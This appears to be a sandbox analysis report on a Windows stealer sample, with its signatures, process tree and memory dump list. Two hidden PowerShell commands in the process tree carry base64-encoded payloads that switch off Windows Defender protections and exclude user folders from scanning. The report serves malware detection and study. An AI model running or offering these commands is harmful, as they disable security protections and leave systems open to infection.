Analysis
- max time kernel
150s - max time network
141s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
31/07/2026, 03:21
General
- Target 2026-07-31_2952a42d093ccdb3f9f0abf3b117b9d7_akira_glassworm_rusty-stealer.exe
- Size 110.0MB
- Sample260731-dwptmsshke
- SHA256 297bbe63fe23ef9154abb330e7b1278647f22549407335a4a714213e8df76efa
Malware Config
Signatures
- Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
- Modifies Windows Defender Real-time Protection settings 3 TTPs 5 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
- Windows security modification 2 TTPs 1 IoCs
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of WriteProcessMemory 2 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-07-31_2952a42d093ccdb3f9f0abf3b117b9d7_akira_glassworm_rusty-stealer.exe"C:\Users\Admin\AppData\Local\Temp\2026-07-31_2952a42d093ccdb3f9f0abf3b117b9d7_akira_glassworm_rusty-stealer.exe"1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Modifies Windows Defender Real-time Protection settings
- Windows security modification
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NonI -W Hidden -NoP -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQAgAC0ARgBvAHIAYwBlACAALQBFAEEAIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABTAGUAdAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBEAGkAcwBhAGIAbABlAEIAZQBoAGEAdgBpAG8AcgBNAG8AbgBpAHQAbwByAGkAbgBnACAAJAB0AHIAdQBlACAALQBGAG8AcgBjAGUAIAAtAEUAQQAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAFMAZQB0AC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEQAaQBzAGEAYgBsAGUAQgBsAG8AYwBrAEEAdABGAGkAcgBzAHQAUwBlAGUAbgAgACQAdAByAHUAZQAgAC0ARgBvAHIAYwBlACAALQBFAEEAIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABTAGUAdAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBEAGkAcwBhAGIAbABlAEkATwBBAFYAUAByAG8AdABlAGMAdABpAG8AbgAgACQAdAByAHUAZQAgAC0ARgBvAHIAYwBlACAALQBFAEEAIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABTAGUAdAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBEAGkAcwBhAGIAbABlAFMAYwByAGkAcAB0AFMAYwBhAG4AbgBpAG4AZwAgACQAdAByAHUAZQAgAC0ARgBvAHIAYwBlACAALQBFAEEAIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABTAGUAdAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBNAEEAUABTAFIAZQBwAG8AcgB0AGkAbgBnACAAMAAgAC0ARgBvAHIAYwBlACAALQBFAEEAIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABTAGUAdAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBTAHUAYgBtAGkAdABTAGEAbQBwAGwAZQBzAEMAbwBuAHMAZQBuAHQAIAAyACAALQBGAG8AcgBjAGUAIAAtAEUAQQAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUA2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NonI -W Hidden -NoP -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACQAZQBuAHYAOgBBAFAAUABEAEEAVABBACAALQBFAEEAIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJABlAG4AdgA6AFQARQBNAFAAIAAtAEUAQQAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAkAGUAbgB2ADoATABPAEMAQQBMAEEAUABQAEQAQQBUAEEAIAAtAEUAQQAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUA2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
StartupProfileData-NonInteractive
__PSScriptPolicyTest_plnvuytt.4ko.ps1
memory/2100-38-0x00007FFD1A4F0000-0x00007FFD1AE94000-memory.dmp
memory/2100-36-0x00007FFD1A4F0000-0x00007FFD1AE94000-memory.dmp
memory/2100-35-0x00007FFD1A4F0000-0x00007FFD1AE94000-memory.dmp
memory/2100-34-0x00007FFD1A4F0000-0x00007FFD1AE94000-memory.dmp
memory/2100-33-0x00007FFD1A4F0000-0x00007FFD1AE94000-memory.dmp
memory/2100-32-0x00007FFD1A4F0000-0x00007FFD1AE94000-memory.dmp
memory/2100-31-0x00007FFD1A4F0000-0x00007FFD1AE94000-memory.dmp
memory/2100-30-0x00007FFD1A4F0000-0x00007FFD1AE94000-memory.dmp
memory/2100-29-0x00007FFD1A4F0000-0x00007FFD1AE94000-memory.dmp
memory/4880-13-0x00007FFD1A4F0000-0x00007FFD1AE94000-memory.dmp
memory/4880-16-0x00007FFD1A4F0000-0x00007FFD1AE94000-memory.dmp
memory/4880-20-0x00000210F36F0000-0x00000210F37A2000-memory.dmp
memory/4880-21-0x00007FFD1A4F0000-0x00007FFD1AE94000-memory.dmp
memory/4880-22-0x00000210F34A0000-0x00000210F34AA000-memory.dmp
memory/4880-23-0x00007FFD1A4F0000-0x00007FFD1AE94000-memory.dmp
memory/4880-24-0x00007FFD1A4F0000-0x00007FFD1AE94000-memory.dmp
memory/4880-27-0x00007FFD1A4F0000-0x00007FFD1AE94000-memory.dmp
memory/4880-28-0x00007FFD1A4F0000-0x00007FFD1AE94000-memory.dmp
memory/4880-19-0x00000210F3480000-0x00000210F349E000-memory.dmp
memory/4880-15-0x00007FFD1A4F0000-0x00007FFD1AE94000-memory.dmp
memory/4880-14-0x00007FFD1A4F0000-0x00007FFD1AE94000-memory.dmp
memory/4880-2-0x00007FFD1A67F000-0x00007FFD1A680000-memory.dmp
memory/4880-12-0x00007FFD1A4F0000-0x00007FFD1AE94000-memory.dmp
memory/4880-9-0x00007FFD1A4F0000-0x00007FFD1AE94000-memory.dmp
memory/4880-6-0x00000210F33C0000-0x00000210F33E2000-memory.dmp
memory/4880-8-0x00007FFD1A4F0000-0x00007FFD1AE94000-memory.dmp
memory/4880-7-0x00007FFD1A4F0000-0x00007FFD1AE94000-memory.dmp
memory/4880-3-0x00007FFD1A4F0000-0x00007FFD1AE94000-memory.dmp
memory/4880-41-0x00007FFD1A4F0000-0x00007FFD1AE94000-memory.dmp